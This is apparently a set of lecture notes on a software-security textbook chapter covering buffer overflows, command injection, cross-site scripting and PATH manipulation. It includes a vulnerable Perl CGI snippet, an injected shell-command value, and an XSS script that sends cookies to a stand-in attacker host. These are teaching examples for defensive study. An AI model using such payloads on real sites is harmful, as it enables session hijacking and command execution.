بِسْمِ اللّٰهِ الرَّحْمٰنِ الرَّحِيْمِ

اَلْحَمْدُ لِلّٰهِ رَبِّ الْعَالَمِيْنَ

وَالصَّلٰوةُ وَالسَّلَامُ عَلٰى خَاتَمِ النَّبِيِّيْنَ

Chapter 11
Software Security

Computer Security: Principles and Practice: Fourth Edition

By: William Stallings and Lawrie Brown

Software Security Flaws

Buffer overflow	Injection flaws	Cross-site scripting	OS interactions
(E.g. stack overflow)	(E.g. SQL injection Command injection)	(E.g. XSS reflection)	(E.g. Environment variables)

These are just a few examples to emphasize secure programming. New vulnerabilities keep getting found

Software Security, Quality and Reliability

- Software quality and reliability:
  - Concerned with the **accidental failure of program** as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code

- Software security:
  - Attacker specifically targets bugs that result in a failure that can be exploited
  - Triggered by inputs that differ dramatically from what is usually expected
  - Unlikely to be identified by common testing approaches

Buffer Overflow

- Programmers often make assumptions about the maximum expected size of input
    - Allocated buffer size is not confirmed
    - Resulting in buffer overflow
- Testing may not identify vulnerability
    - Test inputs are unlikely to include large enough inputs to trigger the overflow
- Safe coding treats all input as dangerous

Injection Attacks

Flaws relating to invalid handling of input data, specifically when program input data can accidentally or deliberately influence the flow of execution of the program

E.g. when input data passed as a parameter to another helper program on the system, whose output is then processed and used by the original program.

Common examples:

SQL injection

Command injection

Command injection

finger.cgi - finger CGI script using **Perl5** CGI module

get name of user from HTML page and display their finger details

$user = $q->param("user");

print `/usr/bin/finger -sh $user`;

for example if user provides ‘lpb’, then the output will be the information on that user,

However, if an attacker provides a value that includes shell meta-characters, e.g.,

“**xxx; echo attack success; ls -1 finger***”, (**;** is a shell meta-character separating distinct commands)

Here the extra commands were just to display a message and list some files in the Web directory but The attacker is able to run any program on the system with the privileges of the Web server.

Countermeasure:, verify that any input data conform to expected patterns before any use of the data and rejecting any input that fails this test **(e.g. allowing only alphanumeric input for above example)**

Cross Site Scripting (XSS) Attacks

Attacker-injected script runs in other users' browsers because the site displays attacker-supplied input as HTML: *Named XSS to avoid confusion with CSS i.e. Cascading Style Sheets)*

XSS Reflection

1. Attacker posts scripts to run at client side browser (e.g on sites like wiki or as comments)
2. Site saves and later returns that text inside the page to another user
3. The browser sees `<script>…</script>` and executes the JavaScript.

Example:

`Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+document.cookie</script>`

The above script sends the victim's `document.cookie` to the attacker's URL who can hijack the session.

Countermeasure: sanitize outputs as well

OS Interaction (Environment Variables)

Environment variables: strings the OS passes to every process to control behavior (e.g. PATH, IFS, LD_LIBRARY_PATH).

Programs are found via PATH. left-to-right list (colon-separated on Unix, semicolon on Windows)

E.g

When shell sees grep, it searches each directory listed in the PATH environment variable, in order, until it finds an executable named grep. (for text lines search that match a given pattern)

If PATH is attacker-controlled, the shell may find a malicious grep first.

The script will run that attacker-supplied program with the script’s privileges.

If the script runs with elevated rights the attacker program executes with those same rights.